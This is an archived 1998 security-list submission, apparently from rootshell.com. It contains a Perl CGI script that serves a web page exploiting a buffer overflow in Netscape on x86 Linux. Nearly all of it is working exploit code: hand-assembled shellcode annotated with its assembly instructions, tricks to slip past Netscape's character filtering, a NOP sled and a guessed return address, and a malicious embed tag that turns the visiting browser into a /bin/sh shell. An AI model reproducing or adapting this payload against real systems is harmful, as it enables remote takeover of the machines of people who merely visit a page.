Netscape x86 Linux buffer overflow exploit that transforms your running Netscape process into an interactive shell (/bin/sh).
fdd7c09e07130497c08b10ad9e5f5edd206a9bbac1b1923afcee94a287df0ac5
[ http://www.rootshell.com/ ]
From nothing@shout.net Wed Oct 21 18:00:09 1998
Date: Wed, 21 Oct 1998 19:23:45 -0500
From: Mr. Nothing <nothing@shout.net>
To: submission@rootshell.com
Subject: Netscape Buffer Overflow
Here is a buffer overflow exploit for Netscape on x86 Linux. It can
be activated remotely by the following CGI script.
See http://www.shout.net/~nothing/buffer-overflow-1/index.html
for more information.
-----
#!/usr/bin/perl
#
# buffer-overflow-1.cgi -- Dan Brumleve, 1998.10.19
sub parse {
join("", map { /^[0-9A-Fa-f]{2}$/ ? pack("c", hex($_)) : "" } @_);
}
# This is very tricky business. Netscape maps unprintable characters
# (0x80 - 0x90 and probably others) to 0x3f ("?"), so the machine
# code must be free of these characters. This makes it impossible
# to call int 0x80, so I put int 0x40 there and wrote code to
# shift those bytes left before it gets called. Also null characters
# can't be used because of C string conventions.
# the first paragraph of the following turns the int 0x40 in the second
# paragraph into int 0x80. the second paragraph nullifies the SIGALRM
# handler.
my $pre = parse qw{
31 c0 # xorl %eax,%eax
66 b8 ff 0f # movw $0x1056,%ax
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
29 c4 # subl %eax,%esp
31 c0 b0 30
31 db b3 0e
31 c9 b1 01
cd 40
};
my $code = $pre . parse qw{
b0 55 # movb $0x55,%al (marker)
eb 58 # (jump below)
5e # popl %esi
56 # pushl %esi
5b # popl %ebx
43 43 43 43 43 43
43 43 43 43 43 # addl $0xb,%ebx
21 33 # andl %esi,(%ebx)
09 33 # orl %esi,(%ebx)
31 c0 # xorl %eax,%eax
66 b8 56 10 # movw $0x1056,%ax
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
33 c0 # xorl %eax,%eax
b0 05 # movb $5,%al
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
29 c4 # subl %eax,%esp
66 b8 56 10 # movw $0x1056,%ax
29 c4 # subl %eax,%esp
31 d2 # xorl %edx,%edx
21 56 07 # andl %edx,0x7(%esi)
21 56 0f # andl %edx,0xf(%esi)
b8 1b 56 34 12 # movl $0x1234561b,%eax
35 10 56 34 12 # xorl $0x12345610,%eax
21 d9 # andl %ebx,%ecx
09 d9 # orl %ebx,%ecx
4b 4b 4b 4b 4b 4b
4b 4b 4b 4b 4b # subl $0xb,%ebx
cd 40 # int $0x80
31 c0 # xorl %eax,%eax
40 # incl %eax
cd 40 # int $0x80
e8 a3 ff ff ff # (call above)
};
$code .= "/bin/sh";
my $transmission = parse qw{
6f 63 65 61 6e 20 64 65 73 65 72 74 20 69 72 6f 6e # inguz
20 66 65 72 74 69 6c 69 7a 61 74 69 6f 6e 20 70 68 # inguz
79 74 6f 70 6c 61 6e 6b 74 6f 6e 20 62 6c 6f 6f 6d # inguz
20 67 61 74 65 73 20 73 6f 76 65 72 65 69 67 6e 74 # inguz
79
};
my $nop = "\x90"; # this actually gets mapped onto 0x3f, but it doesn't seem
# to matter
my $address = "\x10\xdb\xff\xbf"; # wild guess, intended to be somewhere
# in the chunk of nops. works on every
# linux box i've tried it on so far.
my $len = 0x1000 - length($pre);
my $exploit = ($nop x 1138) . ($address x 3) . ($nop x $len) . $code;
# the first $address is in the string replaces another
# pointer in the same function which gets dereferenced
# after the buffer is overflowed. there must be a valid
# address there or it will segfault early.
print <<EOF;
Content-type: text/html
<!-- $transmission -->
<embed type="$exploit" src="data:x">
EOF